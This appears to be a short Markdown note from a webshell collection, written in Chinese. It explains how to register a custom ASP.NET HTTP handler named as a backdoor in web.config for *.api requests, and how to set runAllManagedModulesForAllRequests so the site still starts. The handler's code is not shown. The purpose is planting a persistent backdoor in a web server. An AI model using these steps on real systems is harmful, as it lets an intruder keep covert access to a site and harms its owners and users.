webshell/aspx/httpHandlers_backdoor/httpHandlers.md
2015-06-16 14:30:43 +08:00

16 lines
557 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

修改web.config添加或者修改httpHandlers:
```
<httpHandlers>
<add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/>
</httpHandlers>
```
如果已经存在 httpHandlers 则在标签内添加,如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>
但是有一点需要特别注意:<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。
```
<system.webServer>
<modules runAllManagedModulesForAllRequests="true" />
</system.webServer>
```